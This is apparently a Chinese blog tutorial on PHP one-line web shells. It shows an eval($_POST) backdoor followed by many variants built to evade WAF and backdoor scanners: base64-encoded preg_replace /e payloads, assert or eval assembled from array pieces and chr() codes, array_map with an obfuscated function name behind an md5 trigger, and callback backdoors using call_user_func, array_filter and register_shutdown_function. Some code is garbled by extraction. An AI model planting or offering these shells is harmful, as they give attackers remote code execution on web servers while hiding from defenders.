php一句话论坛,PHP一句话

简单的一句话1@eval($_POST['password']);?>

[email protected]()函数将字符串内容当作php代码执行

而$_POST[]即获取以post方式发送的参数为password的值

整体来说,就是将post获取的值,当作php代码执行。

一句话的变形

1.使用编码的方式

当然简单的一句话肯定会被waf轻易的发现,所以需要对一句话进行变形,以绕过waf的检查

简单的一句话的变形,如利用base64_decode()函数对一句话进行解码进而执行。1

2

3

4

5

6

7

8@$a = $_POST['x'];

if(isset($a)){

@preg_replace("/

(.∗)

/e",'\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));

}

?>

其中base64_decode(‘W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=’))解码后为:[@eval(base64_decode($_POST[z0]));]

还可以使用

2.1使用数组拼接的方式

因为检测后门的时候大多通过检测关键字,危险函数的使用,所以可以通过对一句话的拼接来绕过检测1

2

3

4

5

6

7

8$arr = array('a','s','s','e','r','t');

$func = '';

for($i=0;$i

$func .= $func . $arr[$i];

}

$func($_REQUEST['c']);

?>

以上拼接到一起为assert($_REQUEST[‘c’])

2.2使用ASCII码拼接的方式1 $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>

本质还是拼接

翻译过来为:create_funtion(“”,eval(_POST[1]););

3.使用其他的函数

如函数array_map()对数组中所有元素使用函数处理1

2

3strcasecmp(md5($_GET['qid']),'aaa1fb894b5716d60771e6f230b67e6c')?array_map("asx73ert",(array)$_REQUEST['cmd']):next;

?>

其中array_map(“asx73ert”,(array)$_REQUEST[‘cmd’])使用的函数为assert为放过滤使用”asx73ert”。

或者使用_GET()函数1

2

3@$_GET[a]($_GET[b]);

?>

http://127.0.0.1/test.php?a=assert&b=cmd

preg_replace的/e参数能够在在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行1preg_replace('/some/e',$_POST[c],'some');

/e参数在php5.5以上就废弃了可以用preg_replace _callback

总结下来一些能执行命令的函数eval

assert

call_user_func

array_map

create_function

preg_replace的/e参数

回掉函数生成后门

1.assert作为回调函数,处理pass参数1call_user_func('assert', $_REQUEST['pass']);

2.数组操作函数

利用对数组进行操作的函数1

2

3

4

5<?php

$e = $_REQUEST['e'];

$arr = array($_POST['pass'],);

array_filter($arr, base64_decode($e));

?>

其中array_filter()函数是将数组中所有元素遍历并用指定函数处理过滤用的

即遍历$arr数组中元素,使用传入的e参数进行调用

array_map(myfunction,array)对数组array使用myfunction处理

但数组回掉函数还是容易被发现和查杀。1

2

3<?php

$e = $_REQUEST['e'];

register_shutdown_function($e, $_REQUEST['pass']);

其中register_shutdown_function()函数是在PHP中止时执行的函数,在PHP中止时执行自定义的回调函数

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值